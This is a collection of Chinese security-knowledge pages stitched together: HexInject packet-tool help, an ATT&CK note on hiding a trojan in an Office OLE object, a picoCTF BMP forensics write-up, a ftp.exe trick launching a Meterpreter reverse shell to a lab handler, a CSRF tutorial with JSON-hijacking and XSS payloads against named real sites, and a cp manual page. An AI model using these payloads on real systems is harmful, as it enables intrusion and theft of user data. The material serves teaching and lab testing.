HexInject是一个多功能包注入和嗅探工具,它为用户提供了一个基于命令行的框架来访问原始网络。它在开发之初就被设计为和其他基于命令行的工具一起使用,因此,它可以生成功能强大的shell脚本,以一种对用户完全透明的方式实现读取,拦截和修改网络流量。
源地址:http://hexinject.sourceforge.net/
[HexInject 主页](http://hexinject.sourceforge.net/) | [Kali HexInject 项目](http://git.kali.org/gitweb/?p=packages/hexinject.git;a=summary)
- 作者:Emanuele Acri
- 证书:BSD
## HexInject软件包中包含的工具
### hexinject - 十六进制包注入/嗅探工具
```
root@kali:~# hexinject -h
HexInject 1.5 [十六进制包注入/嗅探工具]
作者: Emanuele Acri <crossbower@gmail.com>
使用方法:
hexinject <模式> <其他参数>
参数:
-s 嗅探模式
-p 注入模式
-r 原始数据显示模式 (默认为16进制显示)
-f <滤过器> 自定义pcap滤过器
-i <设备> 指定要使用的网络设备
-F <文件> 指定用于模拟设备的pcap文件 (仅限嗅探模式)
-c <数量> 要抓取的包的数量
-t <时间> 延时的毫秒数 (默认是100)
-I 列出全部可用的网络设备
注入参数:
-C 禁用自动数据包和校验
-S 禁用自动分配数据包大小
网卡参数:
-P 禁用多源模式
-M 将无线网卡设为监听模式
(实验性功能: 使用 airmon-ng 以替代...)
其他参数:
-h 帮助界面
```
## prettypacket – 网路裸包反汇编器
```
root@kali:~# prettypacket -h
PrettyPacket 1.5 [网路裸包反汇编器]
作者: Emanuele Acri <crossbower@gmail.com>
用法:
prettypacket [-x|-h]
参数:
-x 按类型输出包样例以检查其结构
(可用的类型: tcp, udp, icmp, igmp, arp, stp)
-h 显示此帮助文档
```
## hex2raw – 将输入流中的十六进制字串转换为输出流中的原始数据
```
root@kali:~# hex2raw -h
Hex2Raw 1.5 [将输入流中的十六进制字串转换为输出流中的原始数据]
作者: Emanuele Acri <crossbower@gmail.com>
用法:
hex2raw [-r|-h]
Options:
-r 反向转换 (原始数据转换为十六进制字串)
-h 显示此帮助文档
```
## packets.tcl – 生成二进制包
```
root@kali:~# packets.tcl -h
Packets.tcl -- 以类似APD的格式生成指定的二进制包: http://wiki.hping.org/26
用法:
packets.tcl 'APD 包描述'
示例包:
ethernet(dst=ff:ff:ff:ff:ee:ee,src=aa:aa:ee:ff:ff:ff,type=0x0800)+ip(ihl=5,ver=4,tos=0xc0,totlen=58,id=62912,fragoff=0,mf=0,df=0,rf=0,ttl=64,proto=1,cksum=0xe500,saddr=192.168.1.7,daddr=192.168.1.6)+icmp(type=3,code=3,unused=0)+data(str=aaaa)+udp(sport=33169,dport=10,len=10,cksum=0x94d6)+data(str=aaaa)+arp(htype=ethernet,ptype=ip,hsize=6,psize=4,op=request,shard=00:11:22:33:44:55,sproto=192.168.1.1,thard=22:22:22:22:22:22,tproto=10.0.0.1)
ethernet(dst=ff:ff:ff:ff:ff:ff,src=ff:ff:ff:ff:ff:ff,type=0x0800)+ip(ihl=5,ver=4,tos=00,totlen=30,id=60976,fragoff=0,mf=0,df=1,rf=0,ttl=64,proto=tcp,cksum=0x40c9,saddr=192.168.1.9,daddr=173.194.44.95)+tcp(sport=32857,dport=80,seq=1804471615,ack=0,ns=0,off=5,flags=s,win=62694,cksum=0xda46,urp=0)
ethernet(dst=ff:ff:ff:ff:ff:ff,src=ff:ff:ff:ff:ff:ff,type=0x0800)+ip(ihl=5,ver=4,tos=00,totlen=30,id=60976,fragoff=0,mf=0,df=1,rf=0,ttl=64,proto=tcp,cksum=0x40c9,saddr=192.168.1.9,daddr=173.194.44.95)+tcp(sport=32857,dport=80,seq=1804471615,ack=0,ns=0,off=8,flags=s,win=62694,cksum=0xda46,urp=0)+tcp.nop()+tcp.nop()+tcp.timestamp(val=54111314,ecr=1049055856)+data(str=f0a)
```
## hexinject 用法示例
以嗅探模式启动 **(-s)** ,使用 eth0 网路接口 **(-i eth0)**:
```
root@kali:~# hexinject -s -i eth0
FF FF FF FF FF FF 40 6C 8F 1B CB 90 08 00 45 00 00 31 E4 36 00 00 40 11 11 4E C0 A8 01 E8 C0 A8 01 FF D3 C6 7E 9C 00 1D B1 DA 4D 2D 53 45 41 52 43 48 20 2A 20 48 54 54 50 2F 31 2E 31 0D 0A
FF FF FF FF FF FF 40 6C 8F 1B CB 90 08 00 45 00 00 31 A1 63 00 00 40 11 54 21 C0 A8 01 E8 C0 A8 01 FF FF 69 7E 9E 00 1D 86 35 4D 2D 53 45 41 52 43 48 20 2A 20 48 54 54 50 2F 31 2E 31 0D 0A
FF FF FF FF FF FF 7C C3 A1 A4 B4 70 08 00 45 00 00 31 BF 94 00 00 40 11 35 FC C0 A8 01 DC C0 A8 01 FF E3 ED 7E 9C 00 1D A1 BF 4D 2D 53 45 41 52 43 48 20 2A 20 48 54 54 50 2F 31 2E 31 0D 0A
FF FF FF FF FF FF 7C C3 A1 A4 B4 70 08 00 45 00 00 31 2F DE 00 00 40 11 C5 B2 C0 A8 01 DC C0 A8 01 FF C5 16 7E 9E 00 1D C0 94 4D 2D 53 45 41 52 43 48 20 2A 20 48 54 54 50 2F 31 2E 31 0D 0A
```
## prettypacket 用法示例
输出UDP包的一个样例 **(-x udp)**:
```
root@kali:~# prettypacket -x udp
以太网包头:
1C AF F7 6B 0E 4D 目标硬件地址
AA 00 04 00 0A 04 源硬件地址
08 00 长度/类型
IP包头:
45 版本 / 包头长度
00 ToS / DFS
00 3C 总长度
9B 23 ID
00 00 标志 / 段位移
40 TTL
11 包协议
70 BC 和校验
C0 A8 01 09 源地址
D0 43 DC DC 目标地址
UDP包头:
91 02 源端口
00 35 目标端口
00 28 长度
6F 0B 和校验
负载或包尾:
AE 9C 01 00 00 01 00 00 00 00 00 00 03 77 77 77 06 67 6F 6F 67 6C 65 03 63 6F
6D 00 00 01 00 01
```
## hex2raw 用法示例
```
root@kali:~# hex2raw
FF 40 6C 8F 1B CB 90 08 00 45 00 00 31 E4 36 00 00 40 11 11 4E C0 A8 01 E8 C0 A8 01 FF D3 C6 7E 9C 00 1D B1 DA 4D 2D 53 45 41 52 43 48 20 2A 20 48 54 54 50 2F 31 2E 31 0D 0A
FF FF FF FF FF FF 40 6C 8F 1B CB 90 08 00 45 00 00 31 A1 63 00 00 40 11 54 21 C0 A8 01 E8 C0 A8 01 FF FF 69 7E 9E 00 1D 86 35 4D 2D 53 45 41 52 43 48 20 2A 20 48 54 54 50 2F 31 2E 31 0D 0A
������@lE1�c@T!�������i~��5M-SEARCH * HTTP/1.1
```
## packets.tcl 用法示例
```
root@kali:~# packets.tcl 'ethernet(dst=ff:ff:ff:ff:ee:ee,src=aa:aa:ee:ff:ff:ff,type=0x0800)+ip(ihl=5,ver=4,tos=0xc0,totlen=58,id=62912,fragoff=0,mf=0,df=0,rf=0,ttl=64,proto=1,cksum=0xe500,saddr=192.168.1.7,daddr=192.168.1.6)+icmp(type=3,code=3,unused=0)+data(str=aaaa)+udp(sport=33169,dport=10,len=10,cksum=0x94d6)+data(str=aaaa)+arp(htype=ethernet,ptype=ip,hsize=6,psize=4,op=request,shard=00:11:22:33:44:55,sproto=192.168.1.1,thard=22:22:22:22:22:22,tproto=10.0.0.1)' > packet-out
```
|
sec-knowleage
|
# T1559-002-win-利用进程间通信执行-动态数据交换-OLE
## 来自ATT&CK的描述
攻击者可以使用Windows动态数据交换(DDE)执行任意命令。DDE是一种客户端-服务器协议,用于应用程序之间的一次性或连续的进程间通信(IPC)。建立链接后,应用程序可以自动处理由字符串,温数据链接(数据项更改时的通知),热数据链接(数据项更改的复制)以及命令执行请求组成的事务。
对象链接和嵌入(OLE)或在文档之间链接数据的功能最初是通过DDE实现的。尽管已被组件对象模型取代,但可以通过注册表项在Windows 10和大多数Microsoft Office 2016中启用DDE。
Microsoft Office文档可能会被直接或通过嵌入式文件的方式注入DDE命令,并被用于通过网络钓鱼或托管的Web内容投递恶意代码,从而避免使用Visual Basic for Applications(VBA)宏。在无法直接访问命令和脚本解释器的受感染计算机上,攻击者也可以利用DDE执行操作。
## 测试案例
Object Linking and Embedding,对象连接与嵌入,简称OLE技术。OLE 不仅是桌面应用程序集成,而且还定义和实现了一种允许应用程序作为软件“对象”(数据集合和操作数据的函数)彼此进行“连接”的机制,这种连接机制和协议称为组件对象模型(COM)。OLE可以用来创建复合文档,复合文档包含了创建于不同源应用程序,有着不同类型的数据,因此它可以把文字、声音、图像、表格、应用程序等组合在一起。
### 简单版本
#### 创建文档并添加对象
在上面工具栏中找到“插入”,然后在插入中找到“对象”,对象类型为“Package”
#### 将对象指定为生成的木马文件
首先要先将木马文件放置在临时目录,输入`%temp%`可以直接跳转。
“Package”这里选中,然后选择临时目录里存放的要捆绑的文件。
#### 将标卷修改为诱导名称
这里修改为click me,也可以根据实际需求进行修改
## 检测日志
无
## 测试复现
无
## 测试留痕
无
## 检测规则/思路
无
### 建议
在OLE和Office开放的XML文件中扫描‘DDEAUTO’、‘DDE’关键字,这是DDE执行的标识。 监控进程是否存在指示DDE滥用的异常行为,例如Microsoft Office应用程序正在加载一些通常无关于程序的DLL和其它模块,或者这些应用程序创建了一些不寻常的子进程(如 cmd.exe)。
## 参考推荐
MITRE-ATT&CK-T1559-002
<https://attack.mitre.org/techniques/T1559/002/>
|
sec-knowleage
|
# tunn3l_v1s10n
Category: Forensics, 40 points
## Description
> We found this file. Recover the flag.
A file was attached.
## Solution
Let's check the file type:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/tunn3l_v1s10n]
└─$ file tunn3l_v1s10n
tunn3l_v1s10n: data
```
It's just marked as a data file. How does it start?
```console
┌──(user@kali)-[/media/sf_CTFs/pico/tunn3l_v1s10n]
└─$ xxd -g 1 tunn3l_v1s10n | head
00000000: 42 4d 8e 26 2c 00 00 00 00 00 ba d0 00 00 ba d0 BM.&,...........
00000010: 00 00 6e 04 00 00 32 01 00 00 01 00 18 00 00 00 ..n...2.........
00000020: 00 00 58 26 2c 00 25 16 00 00 25 16 00 00 00 00 ..X&,.%...%.....
00000030: 00 00 00 00 00 00 23 1a 17 27 1e 1b 29 20 1d 2a ......#..'..) .*
00000040: 21 1e 26 1d 1a 31 28 25 35 2c 29 33 2a 27 38 2f !.&..1(%5,)3*'8/
00000050: 2c 2f 26 23 33 2a 26 2d 24 20 3b 32 2e 32 29 25 ,/*&-$ ;2.2)%
00000060: 30 27 23 33 2a 26 38 2c 28 36 2b 27 39 2d 2b 2f 0'#3*&8,(6+'9-+/
00000070: 26 23 1d 12 0e 23 17 11 29 16 0e 55 3d 31 97 76 &#...#..)..U=1.v
00000080: 66 8b 66 52 99 6d 56 9e 70 58 9e 6f 54 9c 6f 54 f.fR.mV.pX.oT.oT
00000090: ab 7e 63 ba 8c 6d bd 8a 69 c8 97 71 c1 93 71 c1 .~c..m..i..q..q.
```
It actually starts with `BM`, so this might be a `BMP` file. And indeed, if we change the extension to `BMP` and open it, we get an image together with some text saying "notaflag{sorry}".
The size of the image is `1134x306`:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/tunn3l_v1s10n]
└─$ exiftool tunn3l_v1s10n.bmp
ExifTool Version Number : 12.16
File Name : tunn3l_v1s10n.bmp
Directory : .
File Size : 2.8 MiB
File Modification Date/Time : 2021:04:06 20:24:34+03:00
File Access Date/Time : 2021:04:06 20:29:28+03:00
File Inode Change Date/Time : 2021:04:06 20:29:26+03:00
File Permissions : rwxrwxrwx
File Type : BMP
File Type Extension : bmp
MIME Type : image/bmp
BMP Version : Unknown (53434)
Image Width : 1134
Image Height : 306
Planes : 1
Bit Depth : 24
Compression : None
Image Length : 2893400
Pixels Per Meter X : 5669
Pixels Per Meter Y : 5669
Num Colors : Use BitDepth
Num Important Colors : All
Red Mask : 0x27171a23
Green Mask : 0x20291b1e
Blue Mask : 0x1e212a1d
Alpha Mask : 0x311a1d26
Color Space : Unknown (,5%()
Rendering Intent : Unknown (826103054)
Image Size : 1134x306
Megapixels : 0.347
```
But the file itself is larger than it should be:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/tunn3l_v1s10n]
└─$ stat tunn3l_v1s10n.bmp | grep Size
Size: 2893454 Blocks: 5656 IO Block: 4096 regular file
```
Let's parse the BMP header using `kaitai`:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/tunn3l_v1s10n]
└─$ ksv tunn3l_v1s10n.bmp ~/utils/forensics/kaitai_struct_formats/image/bmp.ksy
```
Note that when trying to run this command, we first get a warning: `attempted to read 53430 bytes, got only 53416`, and only then the following is displayed:
```
[-] [root] 00000000: 42 4d 8e 26 2c 00 00 00 00 00 ba d0 00 00 ba d0 | BM.&,...........
[-] file_hdr 00000010: 00 00 6e 04 00 00 32 01 00 00 01 00 18 00 00 00 | ..n...2.........
[.] file_type = 42 4d 00000020: 00 00 58 26 2c 00 25 16 00 00 25 16 00 00 00 00 | ..X&,.%...%.....
[.] len_file = 2893454 00000030: 00 00 00 00 00 00 23 1a 17 27 1e 1b 29 20 1d 2a | ......#..'..) .*
[.] reserved1 = 0 00000040: 21 1e 26 1d 1a 31 28 25 35 2c 29 33 2a 27 38 2f | !.&..1(%5,)3*'8/
[.] reserved2 = 0 00000050: 2c 2f 26 23 33 2a 26 2d 24 20 3b 32 2e 32 29 25 | ,/*&-$ ;2.2)%
[.] ofs_bitmap = 53434 00000060: 30 27 23 33 2a 26 38 2c 28 36 2b 27 39 2d 2b 2f | 0'#3*&8,(6+'9-+/
[-] dib_info 00000070: 26 23 1d 12 0e 23 17 11 29 16 0e 55 3d 31 97 76 | &#...#..)..U=1.v
[.] len_header = 53434 00000080: 66 8b 66 52 99 6d 56 9e 70 58 9e 6f 54 9c 6f 54 | f.fR.mV.pX.oT.oT
[?] color_mask_alpha 00000090: ab 7e 63 ba 8c 6d bd 8a 69 c8 97 71 c1 93 71 c1 | .~c..m..i..q..q.
[?] color_mask_blue 000000a0: 97 74 c1 94 73 c0 93 72 c0 8f 6f bd 8e 6e ba 8d | .t..s..r..o..n..
[?] color_mask_green 000000b0: 6b b7 8d 6a b0 85 64 a0 74 55 a3 77 5a 98 6f 56 | k..j..d.tU.wZ.oV
[?] color_mask_red 000000c0: 76 52 3a 71 52 3d 6c 4f 40 6d 52 44 6e 53 49 77 | vR:qR=lO@mRDnSIw
[?] is_color_mask_here 000000d0: 5e 54 53 39 33 70 58 52 76 61 59 73 5f 54 7e 6b | ^TS93pXRvaYs_T~k
[?] is_color_mask_given 000000e0: 5e 86 74 63 7e 6a 59 76 62 50 76 5e 4c 7a 62 50 | ^.tc~jYvbPv^LzbP
[?] color_mask_given 000000f0: 87 6d 5d 83 69 59 8d 73 63 9b 81 71 9e 84 74 98 | .m].iY.sc..q..t.
```
We can see that `len_header` has the value of `53434`, or `ba d0` in hex. This doesn't make sense, according to the [spec](https://medium.com/sysf/bits-to-bitmaps-a-simple-walkthrough-of-bmp-image-format-765dc6857393) the header size should be 40. `ofs_bitmap` has the same value of `53434`, sending us far far away to look for the image data. The correct value should probably be `0x36`, which is right after the `file_hdr` (14 bytes) and `dib_info` (40 bytes).
We'll fix the header:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/tunn3l_v1s10n]
└─$ xxd -g 1 tunn3l_v1s10n.bmp | head -1
00000000: 42 4d 8e 26 2c 00 00 00 00 00 36 00 00 00 28 00 BM.&,.....6...(.
```
Attempting to view the image again, it looks a bit better (and `ksv` doesn't complain anymore) but still no flag.
```
[-] [root] 00000000: 42 4d 8e 26 2c 00 00 00 00 00 36 00 00 00 28 00 | BM.&,.....6...(.
[-] file_hdr 00000010: 00 00 6e 04 00 00 32 01 00 00 01 00 18 00 00 00 | ..n...2.........
[.] file_type = 42 4d 00000020: 00 00 58 26 2c 00 25 16 00 00 25 16 00 00 00 00 | ..X&,.%...%.....
[.] len_file = 2893454 00000030: 00 00 00 00 00 00 23 1a 17 27 1e 1b 29 20 1d 2a | ......#..'..) .*
[.] reserved1 = 0 00000040: 21 1e 26 1d 1a 31 28 25 35 2c 29 33 2a 27 38 2f | !.&..1(%5,)3*'8/
[.] reserved2 = 0 00000050: 2c 2f 26 23 33 2a 26 2d 24 20 3b 32 2e 32 29 25 | ,/*&-$ ;2.2)%
[.] ofs_bitmap = 54 00000060: 30 27 23 33 2a 26 38 2c 28 36 2b 27 39 2d 2b 2f | 0'#3*&8,(6+'9-+/
[-] dib_info 00000070: 26 23 1d 12 0e 23 17 11 29 16 0e 55 3d 31 97 76 | &#...#..)..U=1.v
[.] len_header = 40 00000080: 66 8b 66 52 99 6d 56 9e 70 58 9e 6f 54 9c 6f 54 | f.fR.mV.pX.oT.oT
[-] header 00000090: ab 7e 63 ba 8c 6d bd 8a 69 c8 97 71 c1 93 71 c1 | .~c..m..i..q..q.
[.] image_width = 1134 000000a0: 97 74 c1 94 73 c0 93 72 c0 8f 6f bd 8e 6e ba 8d | .t..s..r..o..n..
[.] image_height_raw = 306 000000b0: 6b b7 8d 6a b0 85 64 a0 74 55 a3 77 5a 98 6f 56 | k..j..d.tU.wZ.oV
[.] num_planes = 1 000000c0: 76 52 3a 71 52 3d 6c 4f 40 6d 52 44 6e 53 49 77 | vR:qR=lO@mRDnSIw
[.] bits_per_pixel = 24 000000d0: 5e 54 53 39 33 70 58 52 76 61 59 73 5f 54 7e 6b | ^TS93pXRvaYs_T~k
[+] bitmap_info_ext 000000e0: 5e 86 74 63 7e 6a 59 76 62 50 76 5e 4c 7a 62 50 | ^.tc~jYvbPv^LzbP
[?] extends_bitmap_v5 000000f0: 87 6d 5d 83 69 59 8d 73 63 9b 81 71 9e 84 74 98 | .m].iY.sc..q..t.
[?] uses_fixed_palette 00000100: 7e 6e 9b 81 71 8d 73 63 73 5a 4a 70 57 47 5a 41 | ~n..q.scsZJpWGZA
[?] image_height 00000110: 31 4f 36 26 4e 37 27 4f 38 28 4f 38 28 51 3a 2a | 1O6&N7'O8(O8(Q:*
[?] len_header 00000120: 50 39 29 4f 38 29 4b 35 29 50 3a 2f 4b 35 2a 3f | P9)O8)K5)P:/K5*?
[?] bottom_up 00000130: 29 1e 42 2e 23 4b 37 2c 45 31 26 3f 2b 20 43 2f | ).B.#K7,E1&?+ C/
[?] is_core_header 00000140: 24 43 2f 24 40 2a 1f 48 32 27 4b 32 28 47 2e 24 | $C/$@*.H2'K2(G.$
[?] extends_bitmap_info 00000150: 40 27 1d 45 2c 22 4c 34 28 4c 34 28 4b 33 27 4a | @'.E,"L4(L4(K3'J
[?] is_color_mask_here 00000160: 32 26 4c 32 24 4e 34 26 50 35 27 52 37 29 53 36 | 2&L2$N4&P5'R7)S6
[?] extends_os2_2x_bitmap 00000170: 28 55 38 2a 4b 30 22 5d 42 34 63 49 39 49 2f 1f | (U8*K0"]B4cI9I/.
[?] extends_bitmap_v4 00000180: 44 2b 1b 4d 34 24 4d 36 27 4a 33 24 46 2c 20 48 | D+.M4$M6'J3$F, H
```
Back to the file size. The file size is `2893454` bytes, and without the `54` bytes for the header(s), we get `2893400` bytes of body. Given that `bits_per_byte = 24`, this should should account for around `2893400 / 3 =~ 964466` pixels (since we have to add some scanline padding as explained in the spec). However, we only have `1134 * 306 = 347004` pixels according to the dimensions. We can try to adjust the dimensions so that all the data is accounted for. Adjusting the width seems to distort the image, so we should probably stick to adjusting the height. `964466 / 1134` gives us `~850` so let's try that as the height:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/tunn3l_v1s10n]
└─$ xxd -g 1 tunn3l_v1s10n.bmp | head -2
00000000: 42 4d 8e 26 2c 00 00 00 00 00 36 00 00 00 28 00 BM.&,.....6...(.
00000010: 00 00 6e 04 00 00 52 03 00 00 01 00 18 00 00 00 ..n...R.........
```
Trying to open the image now, we get the flag: `picoCTF{qu1t3_a_v13w_2020}`
|
sec-knowleage
|
**注:**请多喝点热水或者凉白开,可预防**肾结石,通风**等。
痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。
### Ftp.exe简介:
Ftp.exe是Windows本身自带的一个程序,属于微软FTP工具,提供基本的FTP访问。
**说明:**Ftp.exe所在路径已被系统添加PATH环境变量中,因此,Ftp.exe命令可识别。
Windows 2003 默认位置:
```bash
C:\Windows\System32\ftp.exe
C:\Windows\SysWOW64\ftp.exe
```
Windows 7 默认位置:
```bash
C:\Windows\System32\ftp.exe
C:\Windows\SysWOW64\ftp.exe
```
**攻击机:** 192.168.1.4 Debian
**靶机:** 192.168.1.3 Windows 7
### 配置攻击机msf:
**注:**需设置参数
`set AutoRunScript migrate -f`
```bash
msf exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.4 yes The listen address (an interface may be specified)
LPORT 53 yes The listen port
Exploit target:
Id Name
‐‐ ‐‐‐‐
0 Wildcard Target
msf exploit(multi/handler) > set AutoRunScript migrate ‐f
AutoRunScript => migrate ‐f
msf exploit(multi/handler) > exploit
```

### 靶机执行:
```bash
echo !C:\Users\John\Desktop\rev_x86_53_exe.exe > o &echo quit >> o &ftp ‐n ‐s:o &del /F /Q o
```
```bash
msf exploit(multi/handler) > set AutoRunScript migrate ‐f
AutoRunScript => migrate ‐f
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.4:53
[*] Sending stage (179779 bytes) to 192.168.1.3
[*] Meterpreter session 10 opened (192.168.1.4:53 ‐> 192.168.1.3:5530)
at 2019‐01‐21 05:14:57 ‐0500
[*] Session ID 10 (192.168.1.4:53 ‐> 192.168.1.3:5530) processing AutoRunScript 'migrate ‐f'
[!] Meterpreter scripts are deprecated. Try post/windows/manage/migrate.
[!] Example: run post/windows/manage/migrate OPTION=value [...]
[*] Current server process: rev_x86_53_exe.exe (8832)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 8788
```

> Micropoor
|
sec-knowleage
|
## 一、跨站请求伪造漏洞
跨站请求伪造漏洞(Cross Site Request Forgery,常简写作CSRF,也有写作XSRF的)是指攻击者可以在第三方站点制造HTTP请求并以用户在目标站点的登录态发送到目标站点,而目标站点的应用程序未校验请求来源。
## 二、漏洞的分类
CSRF漏洞从利用形式来看,分为“写”和“写-读”两类。
#### 2.1 CSRF写——更改设置
CSRF“写”是指攻击载体只需要发送HTTP请求的情况。
这一类特征是Web应用程序在有登录态的情况下更改数据,是第三方站点只需要发送请求而不需要获得返回结果。如更改个人资料、发表文章、留言等,最简单的就是利用JavaScript 自动提交表单,很容易造成蠕虫攻击,如下所示:

假设这个页面在 http://hacker.com 上,第一个点击打开页面的人自动发了一条心情,他的好友看到了进而又点击链接进入了恶意站点,导致不断地传播开来,造成蠕虫。
如果是 get 请求可以触发的csrf,利用方式可以在一个正常的网站上插入一张图片(src 即存在漏洞cgi 地址),当别人浏览到这个页面时就会触发请求。
#### 2.2 CSRF写和读——获取敏感信息
CSRF“写-读”是指攻击载体不仅要先发送HTTP请求,还要获取Web应用程序对该请求的返回内容的情况。
这一类特征是Web应用程序在有登录态的情况下会输出敏感信息,第三方站点需要发送请求并还要获得返回结果,比如 JSON Hijacking和flash装载网页。
JSON(JavaScript Object Notation)是一种轻量的数据交换格式,特别是在跨域交换数据的时候经常用到。一个简单的 jsonHijacking 利用 exp 如下:
``` html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title></title>
</head>
<body>
<script type="text/javascript">
var aaa="";
function testa(str)
{
aaa=str;
}
</script>
<script src="http://passport.iqiyi.com/apis/user/info.action?authcookie=&fields=
userinfo%2Cqiyi_vip%2Cpps%2Caccounts%2Ctokens%2Cv&antiCsrf=&callback=testa" type="text/javascript">
</script>
<script type="text/javascript">
alert(JSON.stringify(aaa)); //可以进一步把数据发往攻击者的站点
</script>
</body>
</html>
```
另外一个地方是Flash。
Flash的API 支持加载网页内容,如ActionScript 3.0提供的URLLoader类。但Flash装载站点内容必须得到站点根目录下的策略配置文件 crossdomain.xml的支持。如以下代码去读取www.example.com的返回内容(当然需要 http://www.example.com/crossdomain.xml 支持 flash所在域请求):
``` actionScript
import flash.net.*;
var myloader = new URLLoader(new URLRequest("http://www.example.com/"));
myloader.addEventListener(Event.COMPLETE,test);
myloader.load();
function test(event:Event){
var ResponseText:String = myloader.data;
text1.text = ResponseText;
stop();
}
```
如果该网页在用户登录态下会返回敏感信息,则这个flash可以获取到。
## 三、如何检测漏洞
1. 抓包重放
点击某功能后,使用抓包工具抓包重放,看正常返回值
2. 去除refer/token
去除refer/token参数,看返回值是否正常
3. 验证
如果正常,本地构造表单测试能否复现
jsonhijacking 形式的也许可以尝试下自动测试,比如cookie 中带uin 字段的,带上refer/去掉refer 都请求一次接口,看返回内容中是否都包含了uin 的值,或者若是根据其他参数key 如 g_tk 来做限制的,可以把g_tk 值去掉,看请求是否也返回敏感信息了。
## 四、如何防御
1. 检查 http referer 是否是同域
如果网站有客户端,需要对此开绿灯,可能是个隐患。
注意:ajax 跨域发起请求时是不可以添加 cookie、user-agent、referer、 x_forward_for 等http 头的,可以看下w3c给出的一份头部黑名单。否则 referer 校验就无效了。
此外在某些情况下,浏览器也不会发送referer,比如从https 跳转到 http;flash 的请求等。
2. 限制 cookie 的生命周期(减少发生概率)
3. 使用一次性 token
token 是一段随机的数字字母值,经常出现在表单的隐藏项中。
4. 使用验证码(降低用户体验)
当同域页面上有xss 漏洞时,可以通过 ajax 获取到其他页面的 token;
token 如果出现在 get 参数中,也容易通过 refer的方式泄露;
此时只能通过验证码来防范csrf 了。
5. 如果是会修改内容的请求,请使用post 请求,且在满足post 内容格式要求的情况下使用`Content-Type:application/json`,而当不同源客户端添加 `Content-Type`为 `application/json` 的时候浏览器会进行预检(发送OPTIONS请求),之后请求就会失败(服务器不要在 `Access-Control-Allow-Headers` 中加入 `Content-type`),而不会进一步发起真实的post请求,否则可能造成其实数据已经被post请求修改,虽然服务器返回响应时被浏览器拦截了。
6. 设置Set-Cookie 头部的[samesite 属性](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Set-Cookie/SameSite),即允许声明该 Cookie 是否仅限于第一方或者同一站点上下文,即在跨域请求时第三方站点cookie 不会一起发送出去
7. 双重cookie校验。利用csrf 不能获取到用户cookie的特点,可以要求ajax和表单请求都携带一个cookie值
- 在用户访问站点页面时,往cookie植入一个随机值xxx
- 在前端往后端请求时获取到cookie值并携带到url 如 cgi?csrfcookie=xxx
- 后端验证cookie中的字段值与url 参数值是否一致
## 五、测试tips 分享
绕过csrf 防御技巧:
1. refer 验证绕过:只验证了是否存在关键词,如
`Referer:http://t.qq.com `可以使用
`Referer:http://t.qq.com.yourdomain.com`
`Referer:http://yourdomain.com/t.qq.com/`
`Referer:http://yourdomain.com?r=http://t.qq.com`
注:从https域下post数据到http域的时候,浏览器不带Referer;用 iframe 加载时也不带referer;比如本地html,还有某些伪协议远程调用时是没有referer的;
2. 有时候存在token, 服务器端不一定做了验证,可以直接把 token 参数删除看是否能返回正常值;
3. 将 post 请求换成对应的 get 请求,也许也可以绕过 refer 限制;
4. 找到一个满足refer要求的站点的url 跳转漏洞绕过refer 校验。
5. 利用xss 漏洞绕过refer 校验,如下payload 绕过了 data_ajax.php 的refer 校验
```
http://interface.sina.cn/yuedu/index_feed.d.json?page=1&act=more&jsoncallback=<script>function a(msg){alert(msg.data.login_info.username);}</script><script src="http://xx.sina.com.cn/data_ajax.php?_a=top_data&rnd=16721&callback=a"></script>
```
**注意**:
1. 从页面`document.referer` 获取的是当前页面的上一跳,而发起http 请求带的referer头 是指的当前发起请求时所在的页面
2. 从页面`document.cookie` 获取的是当前域domain下的cookie(httponly属性的不行),如果发起跨域请求此时带的cookie头部,指的是目标域下的cookie,两者不相同
3. 从浏览器页面发起的请求,自动带上referer和origin等头部(默认值),但如果抓包拦截是可以修改的(无法作为自动化攻击手段);直接从服务器后台发起的请求,更是可以任意添加头部和值,且返回内容直接给到服务器后台,故也不存在浏览器的跨域策略限制等。
## Reference
[OPTIONS 请求预检](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Access_control_CORS)
|
sec-knowleage
|
cp
===
将源文件或目录复制到目标文件或目录中
## 补充说明
**cp命令** 用来将一个或多个源文件或者目录复制到指定的目的文件或目录。它可以将单个源文件复制成一个指定文件名的具体的文件或一个已经存在的目录下。cp命令还支持同时复制多个文件,当一次复制多个文件时,目标文件参数必须是一个已经存在的目录,否则将出现错误。
### 语法
```shell
cp(选项)(参数)
```
### 选项
```shell
-a:此参数的效果和同时指定"-dpR"参数相同;
-d:当复制符号连接时,把目标文件或目录也建立为符号连接,并指向与源文件或目录连接的原始文件或目录;
-f:强行复制文件或目录,不论目标文件或目录是否已存在;
-i:覆盖既有文件之前先询问用户;
-l:对源文件建立硬连接,而非复制文件;
-p:保留源文件或目录的属性;
-R/r:递归处理,将指定目录下的所有文件与子目录一并处理;
-s:对源文件建立符号连接,而非复制文件;
-u:使用这项参数后只会在源文件的更改时间较目标文件更新时或是名称相互对应的目标文件并不存在时,才复制文件;
-S:在备份文件时,用指定的后缀“SUFFIX”代替文件的默认后缀;
-b:覆盖已存在的文件目标前将目标文件备份;
-v:详细显示命令执行的操作。
```
### 参数
* 源文件:制定源文件列表。默认情况下,cp命令不能复制目录,如果要复制目录,则必须使用`-R`选项;
* 目标文件:指定目标文件。当“源文件”为多个文件时,要求“目标文件”为指定的目录。
### 实例
